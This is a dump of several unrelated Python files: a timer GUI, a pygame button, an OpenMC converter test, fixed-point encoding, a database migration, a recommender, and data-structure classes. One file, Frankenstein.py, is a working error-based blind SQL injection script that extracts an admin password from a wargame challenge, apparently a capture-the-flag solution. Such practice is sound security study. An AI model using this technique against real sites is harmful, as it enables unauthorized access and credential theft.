splitterState:\n\t\t\tself.ui.splitter.restoreState(splitterState)\n\n\t\tlistColState = settings.value('timersState', None)\n\t\tif listColState:\n\t\t\tself.ui.timers.header().restoreState(listColState)\n\n\t\tsettings.endGroup()\n\n\tdef createErrorText(self, text):\n\t\tmsgBox = QMessageBox()\n\t\tmsgBox.setWindowTitle(\"I'm sorry, Dave. I'm afraid I can't do that.\")\n\t\tmsgBox.setText(text)\n\t\tmsgBox.exec_()\n\t\treturn\n\t\tsetattr(self.ui, text.replace(' .', '_').lower(), msgBox)\n\n\tdef onRefreshDurations(self):\n\t\tfor i in range(self.ui.timers.topLevelItemCount()):\n\t\t\t# GET CHILD & REFRESH\n\t\t\titem = self.ui.timers.topLevelItem(i)\n\t\t\titem.setText(3, str(self.backend.roundTime(item.timer.duration)))\n\n\tdef onFilterClicked(self, item, column):\n\t\tself.ui.timers.clear()\n\n\t\tquery = self.backend.session.query(Timer)\n\t\tif hasattr(item, 'ticket'):\n\t\t\tquery = query.filter(Timer.ticket_id == item.ticket.id)\n\t\telif hasattr(item, 'project'):\n\t\t\tquery = query.join(Ticket).filter(Ticket.project_id == item.project.id)\n\n\t\tfor timer in query:\n\t\t\titem = QTreeWidgetItem([\n\t\t\t\ttimer.status,\n\t\t\t\ttimer.name,\n\t\t\t\tformat_time(timer.start),\n\t\t\t\tstr(self.backend.roundTime(timer.duration)),\n\t\t\t\tstr(timer.posted)\n\t\t\t])\n\t\t\titem.timer = timer\n\t\t\tself.ui.timers.addTopLevelItem(item)\n\n\tdef onActionClicked(self, action):\n\t\tprint('onActionClicked:', repr(action.text()))\n\t\titems = self.ui.timers.selectedItems()\n\t\t{\n\t\t\t'start': self.onStartTimers,\n\t\t\t'stop': self.onStopTimers,\n\t\t\t'post': self.onPostTimers\n\t\t}.get(action.text().lower(), self.noAction)(items)\n\n\tdef onStartTimers(self, items):\n\t\tif items:\n\t\t\t# Start any paused timers\n\t\t\twith qtimer.autocommit(self.backend.session) as sql:\n\t\t\t\tfor item in items:\n\t\t\t\t\tstatus = item.timer.status\n\t\t\t\t\tif not status == STATUS_IDLE:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tsession = Session(start=self.backend.roundTime(datetime.utcnow()), timer_id=item.timer.id)\n\t\t\t\t\tsql.add(session)\n\t\telse:\n\t\t\t# Create timer\n\t\t\ttext, ok = QInputDialog.getText(self, 'Enter Timer Name', 'Enter new timer name:')\n\t\t\tif not ok:\n\t\t\t\treturn\n\n\t\t\titem = self.ui.projects.selectedItems()\n\n\t\t\ttid = None\n\t\t\tif hasattr(item, 'ticket'):\n\t\t\t\ttid = item.ticket.id\n\n\t\t\tsession = Session(start=self.backend.roundTime(datetime.utcnow()))\n\t\t\ttimer = Timer(name=text, ticket_id=tid, sessions=[session])\n\t\t\tself.backend.session.add(timer)\n\t\t\tself.onFilterClicked(item, None)\n\n\tdef onStopTimers(self, items):\n\t\tif not items:\n\t\t\tself.createErrorText('No timers selected.')\n\t\t\treturn\n\n\t\tids = []\n\t\tfor item in items:\n\t\t\tids.append(item.timer.id)\n\n\t\tvalues = {\n\t\t\tSession.end: self.backend.roundTime(datetime.utcnow())\n\t\t}\n\n\t\twith qtimer.autocommit(self.backend.session) as session:\n\t\t\tsession.query(Session).filter(Session.timer_id.in_(ids))\\\n\t\t\t\t.filter(Session.end == None).update(values, 'fetch')\n\t\tself.onFilterClicked(item, None)\n\n\tdef onPostTimers(self, items):\n\t\tpass\n\n\tdef noAction(self, items):\n\t\tself.createErrorText('There is no implementation for this action')\n\t\traise RuntimeError('There is no implementation for this action')\n\n\tdef closeEvent(self, event):\n\t\tself.writeSettings()\n\n\ndef main():\n\twith qtimer.create_qtimer(CONFIG_PATH, DEFAULT_CONFIG_PATH) as backend:\n\t\tapp = QApplication(sys.argv)\n\t\twindow = QTimerMainWindow(backend)\n\t\twindow.show()\n\t\tsys.exit(app.exec_())\n","sub_path":"qtimerui/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":6250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"486292079","text":"import pygame\nimport datingsim\n\ndef center_text(text, font, font_color, rect, surf):\n \"\"\"blits the text into the center of rect on surf\"\"\"\n t_surf = font.render(text, False, font_color)\n W, H = rect.size\n w, h = t_surf.get_size()\n x = (W - w) / 2\n y = (H - h) / 2\n surf.blit(t_surf, [x, y])\n\nclass Button(pygame.sprite.Sprite):\n containers = []\n def __init__(self, pos, orig_image, on_click, click_sfx='button_click',\n enabled=True,\n do_highlight=True, highlight_color=None, highlight_filter=None):\n pygame.sprite.Sprite.__init__(self, self.containers)\n self.orig_image = orig_image\n self.rect = self.orig_image.get_rect().move(pos)\n self.on_click = on_click\n self.click_sfx = click_sfx\n self.mouseover = False\n self.do_highlight = do_highlight\n if self.do_highlight:\n self.highlight_color = highlight_color or (255,255,255,100)\n if highlight_filter: # use this to create a custom top layer for mouseover\n self.highlight_filter = highlight_filter\n else:\n self.highlight_filter = pygame.Surface(self.orig_image.get_size(),\n flags=pygame.SRCALPHA)\n self.highlight_filter.fill(self.highlight_color)\n self.enabled = enabled\n self.render()\n\n def on_mouseover(self):\n self.mouseover = True\n self.render()\n\n def on_mouseoff(self):\n self.mouseover = False\n self.render()\n\n def on_mousedown(self):\n if self.enabled:\n datingsim.play_sfx(self.click_sfx)\n return self.on_click()\n\n def render(self):\n self.image = self.orig_image.copy()\n if self.do_highlight and self.mouseover and self.enabled:\n self.image.blit(self.highlight_filter, [0,0])\n\nclass BlockButton(Button):\n def __init__(self, pos, on_click, color, size=(30, 20), text=None, enabled=True,\n font=None, font_color=(255,255,255), font_size=20,\n border_color=None, border_width=1, **options):\n self.color = color\n self.text = text\n if self.text:\n if not font:\n import datingsim\n font = datingsim.assets.get_default_font()\n self.font = font\n self.font_color = font_color\n Button.__init__(self, pos, pygame.Surface(size), on_click, **options)\n\n @property\n def bg_color(self):\n return self.color\n\n def render(self):\n self.image = self.orig_image.copy()\n self.image.fill(self.bg_color)\n if (self.text):\n self.make_text(self.text)\n if self.do_highlight and self.mouseover and self.enabled:\n self.image.blit(self.highlight_filter, [0,0])\n\n def make_text(self, text, font_color=None, font=None):\n self.text = text\n center_text(text, font or self.font,\n font_color or self.font_color,\n self.image.get_rect(),\n self.image)\n","sub_path":"button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":3083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"93558941","text":"# test_core.py\n#\n# Given a full-core VERA model, try to produce the corresponding OpenMC input.\n# The goal of this test is to see what methods and classes are missing from vera_to_openmc.py.\n# The overall structure of the final converter may not look like this.\n\nimport sys; sys.path.append('..')\nimport openmc\nimport vera_to_openmc\nfrom functions import fill_lattice\n\n\ndef convert_to_openmc(file):\n\tcase = vera_to_openmc.MC_Case(file)\n\t\n\t# Get the OpenMC model of the reactor pressure vessel\n\trpv, core_cell, fill_mat, outer_vessel_surfs = case.get_openmc_reactor_vessel(case.core)\n\t\n\t\n\t\n\t# First order of business: fill the core with assemblies\n\tinner_core = openmc.RectLattice(name=\"Inside of Core\")\n\tap = case.core.pitch; n = case.core.size\n\tinner_core.pitch = (ap, ap)\n\tinner_core.lower_left = [-ap * float(n) / 2.0] * 2\n\t# Make an assembly-sized universe of moderator\n\tmod_verse = get_mod_universe(case, fill_mat)\n\t# Refer to the core maps and grab the proper assemblies.\n\tasmap = case.core.square_maps(\"assembly\", space='')\n\t# TODO:\n\t# Right now, I'm inserting placeholder strings.\n\t# What I actually want to do is insert universes containing the\n\t# entire assemblies. \n\t\n\t# Quick lambda function to pass to fill_lattice()\n\tf = lambda a: case.assemblies[a].name if a else \"mod\"\n\t#f = lambda a: case.get_openmc_assemblies(case.assemblies[a]) if a else mod_verse\n\t\n\tprint(fill_lattice(asmap, f, n))\n\t#inner_core.universes = fill_lattice(asmap, f, n)\n\t\n\t\n\t'''\n\tTo do that, we'll need to refer to the core maps and grab the proper assemblies.\n\t\n\tFor every vera_assembly in the dictionary case.assemblies, run \n\tcase.get_openmc_assemblies(vera_assembly). It will return a vertical column, arranged\n\tsomething like (GAP,PLUG,LAT21,PLEN,PLUG,GAP). Somewhere in this, I want to add the\n\tgrid spacers and nozzles. The fuel lattices, spacers, and nozzles will then all be\n\tplaced in one universe. The name of the assembly in VERA shall serve as the key \n\tin the dictionary in self.openmc_assemblies.\n\t\n\tThen, iterate through case.core.square_maps() and create an array of the Universes\n\tby position in the core, which is passed to an OpenMC RectLattice. Ideally, this will\n\thave the baffle around it. Outside the baffle is fill_mat (usually \"mod\").\n\t\n\tFinally, zip all of that up in a universe and fill core_cell with it.\n\t'''\n\t\n\t\n\t\n\t# Define a root cell with the reactor vessel\n\troot_cell = openmc.Cell(name='root cell')\n\troot_cell.fill = rpv\n\trpv_cyl, zbot, ztop = outer_vessel_surfs\n\troot_cell.region = -rpv_cyl & +zbot & -ztop\n\t# Define a root universe\n\troot_universe = openmc.Universe(universe_id=0, name='root universe')\n\troot_universe.add_cell(root_cell)\n\tgeometry = openmc.Geometry()\n\tgeometry.root_universe = root_universe\n\t# Export to \"geometry.xml\"\n\tgeometry.export_to_xml()\n\t\n\t\n\t\n\tmaterials = openmc.Materials(case.openmc_materials.values())\n\tmaterials.default_xs = '71c'\n\tmaterials.export_to_xml()\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t'''root_cell.fill = fillcell\n\t\n\t# Handle boundary conditions\n\tif len(bounds) == 3:\n\t\tradius, min_z, max_z = bounds\n\t\troot_cell.region = -radius & +min_z & -max_z\n\telif len(bounds) == 6:\n\t\tmin_x, max_x, min_y, max_y, min_z, max_z = bounds\n\t\t# Create boundary planes to surround the geometry\n\t\troot_cell.region = +min_x & -max_x & +min_y & -max_y & +min_z & -max_z\n\t\n\t\n\t\n\tgeometry = openmc.Geometry()\n\tgeometry.root_universe = root_universe\n\t# Export to \"geometry.xml\"\n\tgeometry.export_to_xml()\n\t\n\t\n\t\n\n\t\n\t# OpenMC simulation parameters\n\tmin_batches = 20\n\tmax_batches = 200\n\tinactive = 5\n\tparticles = 2500\n\t\n\t# Instantiate a Settings object\n\tsettings_file = openmc.Settings()\n\tsettings_file.batches = min_batches\n\tsettings_file.inactive = inactive\n\tsettings_file.particles = particles\n\tsettings_file.output = {'tallies': False}\n\tsettings_file.trigger_active = True\n\tsettings_file.trigger_max_batches = max_batches\n\t# Create an initial unifo rm spatial source distribution over fissionable zones\n\tbounds = [-pitch-1, -pitch-1, -10, pitch-1, pitch-1, 10.]\n\tuniform_dist = openmc.stats.Box(bounds[:3], bounds[3:], only_fissionable=True) # @UndefinedVariable\n\tsettings_file.source = openmc.source.Source(space=uniform_dist)\n\tsettings_file.export_to_xml()\n\t\n\t\n\t\n\t###DEBUG###\n\t\n\t\n\t#print(case.openmc_surfaces)\n\t#print(case.openmc_cells)\n\tprint(fillcell)\n\t '''\n\ndef get_mod_universe(case, fill):\n\t''''Create a blank (moderator) assembly'''\n\thpitch = case.core.pitch * float(case.core.size) / 2.0\n\tmin_x = openmc.XPlane(x0=-hpitch)\n\tmax_x = openmc.XPlane(x0=+hpitch)\n\tmin_y = openmc.YPlane(y0=-hpitch)\n\tmax_y = openmc.YPlane(y0=+hpitch)\n\t\n\tmod_cell_universe = openmc.Universe(name='mod assembly universe')\n\tmod_cell = openmc.Cell(name='mod')\n\tmod_cell.fill = case.openmc_materials[fill]\n\tmod_cell.region = +min_x & -max_x & +min_y & -min_y\n\tmod_cell_universe.add_cell(mod_cell)\n\t\n\treturn mod_cell_universe\n\nif __name__ == \"__main__\":\n\tfile = \"../p7.xml.gold\"\n\tconvert_to_openmc(file)\n\t\n\t\n\t","sub_path":"test2/test_core.py","file_name":"test_core.py","file_ext":"py","file_size_in_byte":4902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"246006882","text":"#\n# Copyright 2019 The FATE Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport math\nimport numpy as np\nimport sys\n\n\nclass FixedPointNumber(object):\n \"\"\"Represents a float or int fixedpoit encoding;.\n \"\"\"\n BASE = 16 \n LOG2_BASE = math.log(BASE, 2)\n FLOAT_MANTISSA_BITS = sys.float_info.mant_dig\n\n def __init__(self, n, encoding, exponent):\n self.n = n\n self.max_int = n // 3 - 1\n self.encoding = encoding\n self.exponent = exponent\n\n @classmethod\n def encode(cls, n, max_int, scalar, precision=None, max_exponent=None):\n \"\"\"return an encoding of an int or float.\n \"\"\"\n # Calculate the maximum exponent for desired precision\n exponent = None \n if precision is None:\n if isinstance(scalar, int) or isinstance(scalar, np.int16) or \\\n isinstance(scalar, np.int32) or isinstance(scalar, np.int64):\n exponent = 0 \n elif isinstance(scalar, float) or isinstance(scalar, np.float16) \\\n or isinstance(scalar, np.float32) or isinstance(scalar, np.float64): \n flt_exponent = math.frexp(scalar)[1]\n lsb_exponent = cls.FLOAT_MANTISSA_BITS - flt_exponent\n exponent = math.floor(lsb_exponent / cls.LOG2_BASE)\n else:\n raise TypeError(\"Don't know the precision of type %s.\"\n % type(scalar))\n else:\n exponent = math.floor(math.log(precision, cls.BASE)) \n \n if max_exponent is not None:\n exponent = max(max_exponent, exponent)\n \n int_fixpoint = int(round(scalar * pow(cls.BASE, exponent)))\n\n if abs(int_fixpoint) > max_int:\n raise ValueError('Integer needs to be within +/- %d but got %d'\n % (max_int, int_fixpoint))\n\n return cls(n, int_fixpoint % n, exponent)\n\n def decode(self):\n \"\"\"return decode plaintext.\n \"\"\"\n if self.encoding >= self.n:\n # Should be mod n\n raise ValueError('Attempted to decode corrupted number')\n elif self.encoding <= self.max_int:\n # Positive\n mantissa = self.encoding\n elif self.encoding >= self.n - self.max_int:\n # Negative\n mantissa = self.encoding - self.n\n else:\n raise OverflowError('Overflow detected in decode number')\n\n return mantissa * pow(self.BASE, -self.exponent)\n\n def increase_exponent_to(self, new_exponent):\n \"\"\"return FixedPointNumber: new encoding with same value but having great exponent.\n \"\"\"\n if new_exponent < self.exponent:\n raise ValueError('New exponent %i should be greater than'\n 'old exponent %i' % (new_exponent, self.exponent))\n \n factor = pow(self.BASE, new_exponent - self.exponent)\n new_encoding = self.encoding * factor % self.n\n \n return self.__class__(self.n, new_encoding, new_exponent)\n \n ","sub_path":"federatedml/secureprotol/fixedpoint.py","file_name":"fixedpoint.py","file_ext":"py","file_size_in_byte":3650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"602944140","text":"\"\"\"add fmt_phone column\n\nRevision ID: aab96e170ead\nRevises: aec53809b9ee\nCreate Date: 2017-01-19 17:12:47.108349\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'aab96e170ead'\ndown_revision = 'aec53809b9ee'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.add_column('orders', sa.Column('fmt_phone', sa.String(100)))\n\n\ndef downgrade():\n op.drop_column('orders', 'fmt_phone')\n","sub_path":"alembic/versions/aab96e170ead_add_fmt_phone_column.py","file_name":"aab96e170ead_add_fmt_phone_column.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"213627468","text":"import urllib.request\nimport sys\n\nurl = \"https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?\"\ncookie = sys.argv[1]\npw = ''\nletter = 'abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n\nwhile True:\n for j in letter:\n query = \"pw=%27||id=%27admin%27%26%26case%20when%20pw%20like%20%27\" + pw + j + \"%%27%20then%201%20else%209e307*2%20end%23\"\n req = urllib.request.Request(\n url+query,\n data=None,\n headers={\n \"User-Agent\" : \"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko\",\n \"Cookie\" : cookie\n })\n with urllib.request.urlopen(req) as res:\n body = res.read().decode()\n if '?php' in body:\n pw += j\n break\n else:\n break\nprint(pw)\n","sub_path":"Frankenstein.py","file_name":"Frankenstein.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"165705866","text":"\nimport random\nimport pandas as pd\nimport numpy as np\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import linear_kernel\nfrom .models import Song, Movie, Book, Book_Rating, Movie_Rating, Song_Rating\nfrom surprise import Reader, Dataset, SVD\nfrom surprise.model_selection import cross_validate\n\n\nclass Recommendation_Songs():\n def __init__(self, songs, most_liked, songs_ratings, popular_songs):\n self.reader = Reader()\n self.svd = SVD()\n self.songs = songs\n self.most_liked = most_liked\n self.popular_songs = popular_songs\n self.songs_ratings = songs_ratings\n self.sim_cos_song = []\n self.indices = []\n self.data = []\n self.processing()\n self.processing_svd()\n\n def recommendate(self, id):\n populars = []\n recommendated = []\n for i in range(0, 3):\n ran = 0\n while (ran in recommendated):\n ran = random.randint(0, len(self.most_liked) - 1)\n\n recommendated.append(ran)\n popular_song = self.most_liked[ran]\n song = Song(song_id=popular_song.song_id, song_title=popular_song.song_title,\n song_artist=popular_song.song_artist, song_text=popular_song.song_text)\n populars.append(song)\n\n svd = self.SVDSong(id)\n populars.extend(svd)\n\n content = []\n for i in range(0, 6):\n recommendation = self.recommenderSong(\n 1, getattr(svd[i], 'song_title'))\n content.extend(recommendation)\n populars.extend(content)\n\n return populars\n\n def recommendate_most_liked(self):\n most_liked = []\n recommendated = []\n for i in range(0, 20):\n ran = 0\n while (ran in recommendated):\n ran = random.randint(0, len(self.most_liked) - 1)\n recommendated.append(ran)\n popular_song = self.most_liked[ran]\n song = Song(song_id=popular_song.song_id, song_title=popular_song.song_title,\n song_artist=popular_song.song_artist, song_text=popular_song.song_text)\n most_liked.append(song)\n return most_liked\n\n def recommendate_populars(self):\n populars = []\n recommendated = []\n for i in range(0, 20):\n ran = 0\n while (ran in recommendated):\n ran = random.randint(0, len(self.popular_songs) - 1)\n recommendated.append(ran)\n popular_song = self.popular_songs[ran]\n song = Song(song_id=popular_song.song_id, song_title=popular_song.song_title,\n song_artist=popular_song.song_artist, song_text=popular_song.song_text)\n populars.append(song)\n return populars\n\n def processing(self):\n self.data = pd.DataFrame(\n map(lambda x: [x.song_artist, x.song_title, x.song_text, x.song_id], self.songs), columns=[\"song_artist\", \"song_title\", \"song_text\", \"song_id\"])\n vectorizer1 = TfidfVectorizer(min_df=1, stop_words='english')\n self.data['song_text'] = self.data['song_text'].fillna('')\n bag_of_words_song = vectorizer1.fit_transform(self.data['song_text'])\n self.sim_cos_song = linear_kernel(bag_of_words_song, bag_of_words_song)\n self.indices = pd.Series(\n self.data.index, index=self.data['song_title']).drop_duplicates()\n\n def processing_svd(self):\n self.songs_ratings = pd.DataFrame(\n map(lambda x: [x.song_id_id, x.user_id_id, x.rating, x.id], self.songs_ratings), columns=[\"song_id\", \"user_id\", \"rating\", \"id\"])\n self.songs_ratings.set_index('id', inplace=True)\n\n def recommenderSong(self, top, song):\n songs_to_recommendate = []\n idx = self.indices[song]\n ss = list(enumerate(self.sim_cos_song[idx]))\n ss = sorted(ss, key=lambda x: x[1], reverse=True)\n ss = ss[1:top+1]\n data_ind = [i[0] for i in ss]\n objec = self.data.iloc[data_ind].values.tolist()\n for i in objec:\n song = Song(song_id=i[3], song_title=i[1],\n song_artist=i[0], song_text=i[2])\n songs_to_recommendate.append(song)\n return songs_to_recommendate\n\n def SVDSong(self, user_id):\n songs_to_recommendate = []\n data = Dataset.load_from_df(\n self.songs_ratings[['user_id', 'song_id', 'rating']][:], self.reader)\n\n df_user_to_recommend = self.songs_ratings[(\n self.songs_ratings['user_id'] == user_id) & (self.songs_ratings['rating'] >= 4)]\n\n df_user_to_recommend = df_user_to_recommend.set_index('song_id')\n df_user_to_recommend = df_user_to_recommend.join(self.data)[\n ['song_title', 'song_artist']]\n\n df_user_to_recommend = self.data.copy()\n df_user_to_recommend = df_user_to_recommend.reset_index()\n data = Dataset.load_from_df(\n self.songs_ratings[['user_id', 'song_id', 'rating']], self.reader)\n\n trainset = data.build_full_trainset()\n self.svd.fit(trainset)\n df_rated = self.songs_ratings[(\n self.songs_ratings['user_id'] == user_id)]\n df_rated = df_rated.set_index('song_id')\n df_rated = df_rated.join(self.data)[['song_title', 'song_artist']]\n\n df_user_to_recommend['Estimate_Score'] = df_user_to_recommend['song_id'].apply(\n lambda x: self.svd.predict(user_id, x).est)\n df_user_to_recommend = df_user_to_recommend[~df_user_to_recommend['song_title'].isin(\n df_rated['song_title'])]\n\n df_user_to_recommend = df_user_to_recommend.drop('song_id', axis=1)\n\n df_user_to_recommend = df_user_to_recommend.sort_values(\n 'Estimate_Score', ascending=False)\n objec = df_user_to_recommend.head(11).values.tolist()\n for i in objec:\n song = Song(song_id=i[0]+1, song_title=i[2],\n song_artist=i[1], song_text=i[3])\n songs_to_recommendate.append(song)\n return songs_to_recommendate\n","sub_path":"api/recommendation_songs.py","file_name":"recommendation_songs.py","file_ext":"py","file_size_in_byte":6070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"230899139","text":"import numpy as np\nimport main.read_file as rf\nimport main.write_file as wf\nimport main.eva_tech as et\n\n\nic = 0.03\nRt = 1000000\n\n\ndef get_V2():\n Ns = et.getN()\n # print(Ns)\n V2 = []\n for i in range(len(Ns)):\n N = Ns[i]\n num = 0\n for j in range(int(N + 1)):\n if j == 0:\n continue\n else:\n num += Rt / ((1 + ic) ** j)\n V2.append(num)\n V2_max = max(V2)\n # print(V2)\n for k in range(len(V2)):\n V2[k] = V2[k] * 10 / V2_max\n # print(V2)\n return V2\n\n\nif __name__ == '__main__':\n Vs = get_V2()\n file1 = r\"经济价值\"\n example_file1 = r\"example_经济价值\"\n wf.WriteFile(Vs, example_file1)","sub_path":"2020_Finance_MCM/main/eva_economy.py","file_name":"eva_economy.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"125731502","text":"# from dll_stack import Stack\n# from dll_queue import Queue\n# import sys\n# sys.path.append('../queue_and_stack')\n\n\nclass ListNode:\n def __init__(self, value, prev=None, next=None):\n self.value = value\n self.prev = prev\n self.next = next\n\n \"\"\"Wrap the given value in a ListNode and insert it\n after this node. Note that this node could already\n have a next node it is point to.\"\"\"\n\n def insert_after(self, value):\n current_next = self.next\n self.next = ListNode(value, self, current_next)\n if current_next:\n current_next.prev = self.next\n\n \"\"\"Wrap the given value in a ListNode and insert it\n before this node. Note that this node could already\n have a previous node it is point to.\"\"\"\n\n def insert_before(self, value):\n current_prev = self.prev\n self.prev = ListNode(value, current_prev, self)\n if current_prev:\n current_prev.next = self.prev\n\n \"\"\"Rearranges this ListNode's previous and next pointers\n accordingly, effectively deleting this ListNode.\"\"\"\n\n def delete(self):\n if self.prev:\n self.prev.next = self.next\n if self.next:\n self.next.prev = self.prev\n\n\n\"\"\"Our doubly-linked list class. It holds references to\nthe list's head and tail nodes.\"\"\"\n\n\nclass DoublyLinkedList:\n def __init__(self, node=None):\n self.head = node\n self.tail = node\n self.length = 1 if node is not None else 0\n\n def __len__(self):\n return self.length\n\n \"\"\"Wraps the given value in a ListNode and inserts it\n as the new head of the list. Don't forget to handle\n the old head node's previous pointer accordingly.\"\"\"\n\n def add_to_head(self, value):\n new_node = ListNode(value, None, None)\n self.length += 1\n if not self.head and not self.tail:\n self.head = new_node\n self.tail = new_node\n else:\n new_node.next = self.head\n self.head.prev = new_node\n self.head = new_node\n\n \"\"\"Removes the List's current head node, making the\n current head's next node the new head of the List.\n Returns the value of the removed Node.\"\"\"\n\n def remove_from_head(self):\n value = self.head.value\n self.delete(self.head)\n return value\n\n \"\"\"Wraps the given value in a ListNode and inserts it\n as the new tail of the list. Don't forget to handle\n the old tail node's next pointer accordingly.\"\"\"\n\n def add_to_tail(self, value):\n new_node = ListNode(value, None, None)\n self.length += 1\n if not self.head and not self.tail:\n self.head = new_node\n self.tail = new_node\n else:\n new_node.prev = self.tail\n self.tail.next = new_node\n self.tail = new_node\n\n \"\"\"Removes the List's current tail node, making the\n current tail's previous node the new tail of the List.\n Returns the value of the removed Node.\"\"\"\n\n def remove_from_tail(self):\n value = self.tail.value\n self.delete(self.tail)\n return value\n\n \"\"\"Removes the input node from its current spot in the\n List and inserts it as the new head node of the List.\"\"\"\n\n def move_to_front(self, node):\n if node is self.head:\n return\n value = node.value\n if node is self.tail:\n self.remove_from_tail()\n else:\n node.delete()\n self.length -= 1\n self.add_to_head(value)\n\n \"\"\"Removes the input node from its current spot in the\n List and inserts it as the new tail node of the List.\"\"\"\n\n def move_to_end(self, node):\n if node is self.tail:\n return\n value = node.value\n if node is self.head:\n self.remove_from_head()\n else:\n node.delete()\n self.length -= 1\n\n self.add_to_tail(value)\n\n \"\"\"Removes a node from the list and handles cases where\n the node was the head or the tail\"\"\"\n\n def delete(self, node):\n self.length -= 1\n if not self.head and not self.tail:\n return\n if self.head == self.tail:\n self.head = None\n self.tail = None\n elif self.head == node:\n self.head = node.next\n node.delete()\n elif self.tail == node:\n self.tail = node.prev\n node.delete()\n else:\n node.delete()\n\n \"\"\"Returns the highest value currently in the list\"\"\"\n\n def get_max(self):\n if not self.head:\n return None\n max_value = self.head.value\n current_node = self.head\n while current_node:\n if current_node.value > max_value:\n max_value = current_node.value\n current_node = current_node.next\n return max_value\n\n\nclass Stack:\n def __init__(self):\n self.size = 0\n # Why is our DLL a good choice to store our elements?\n self.storage = DoublyLinkedList()\n\n def push(self, value):\n self.size += 1\n self.storage.add_to_head(value)\n\n def pop(self):\n if self.size > 0:\n self.size -= 1\n return self.storage.remove_from_head()\n else:\n return None\n\n def len(self):\n return self.size\n\n\nclass Queue:\n def __init__(self):\n self.size = 0\n # Why is our DLL a good choice to store our elements?\n self.storage = DoublyLinkedList()\n\n def enqueue(self, value):\n self.storage.add_to_tail(value)\n self.size += 1\n\n def dequeue(self):\n if self.size > 0:\n self.size -= 1\n return self.storage.remove_from_head()\n else:\n return None\n\n def len(self):\n return self.size\n\n\nclass NodeTree:\n def __init__(self, value=None, left=None, right=None):\n self.value = value\n self.left = left\n self.right = right\n\n\nclass BinarySearchTree:\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n # self.tree = NodeTree(value)\n\n # Insert the given value into the tree\n def insert(self, value):\n # if self.tree.value is None:\n # self.tree.value = value\n # return\n # else:\n current_node = self\n while current_node:\n # check if our current node value is greater than the value to insert\n if current_node.value > value:\n # go left\n if current_node.left:\n # if there's a left child set that to the tree(current_node) and repeat\n current_node = current_node.left\n else:\n # else our node leaf is home\n current_node.left = BinarySearchTree(value)\n return\n else:\n # go right\n if current_node.right:\n # if there's a right child set that to the tree(current_node) and repeat\n current_node = current_node.right\n else:\n # else our node leaf is home\n current_node.right = BinarySearchTree(value)\n return\n return\n\n def contains(self, target):\n\n current_node = self\n\n while current_node:\n if current_node.value == target:\n return True\n\n if current_node.value > target:\n if current_node.left:\n current_node = current_node.left\n return\n else:\n if current_node.right:\n current_node = current_node.right\n return\n\n return current_node\n\n # def get_max(self):\n # current_node = self\n # def get_max_helper(current_node):\n # if current_node.right is None:\n # return current_node.value\n # return get_max_helper(current_node.right)\n # return get_max_helper(current_node)\n\n def get_max(self):\n current_node = self\n while current_node.right:\n current_node = current_node.right\n\n return current_node.value\n\n def for_each(self, cb):\n current_node = self\n cb(current_node.value)\n\n def for_each_helper(current_node, cb):\n if current_node is None:\n return\n else:\n cb(current_node.value)\n for_each_helper(current_node.right, cb)\n for_each_helper(current_node.left, cb)\n return\n return for_each_helper(current_node, cb)\n\n # DAY 2 Project - ----------------------\n\n # Print all the values in order from low to high\n # Hint: Use a recursive, depth first traversal\n\n def in_order_print(self, node):\n if not node:\n return\n self.in_order_print(node.left)\n print(node.value)\n self.in_order_print(node.right)\n\n # Print the value of every node, starting with the given node,\n # in an iterative breadth first traversal\n\n def bft_print(self, node):\n if not node:\n return\n queue = Queue()\n current_node = self\n queue.enqueue(current_node)\n\n while queue.len():\n current_node = queue.dequeue()\n print(current_node.value)\n if current_node.left:\n queue.enqueue(current_node.left)\n if current_node.right:\n queue.enqueue(current_node.right)\n\n # Print the value of every node, starting with the given node,\n # in an iterative depth first traversal\n\n def dft_print(self, node):\n if not node:\n return\n stack = Stack()\n current_node = self\n stack.push(current_node)\n\n while stack.len():\n current_node = stack.pop()\n print(current_node.value)\n if current_node.left:\n stack.push(current_node.left)\n if current_node.right:\n stack.push(current_node.right)\n\n # STRETCH Goals - ------------------------\n # Note: Research may be required\n\n # Print Pre-order recursive DFT\n\n def pre_order_dft(self, node):\n if not node:\n return\n\n print(node.value)\n self.pre_order_dft(node.left)\n self.pre_order_dft(node.right)\n\n # Print Post-order recursive DFT\n\n def post_order_dft(self, node):\n if not node:\n return\n self.post_order_dft(node.left)\n self.post_order_dft(node.right)\n 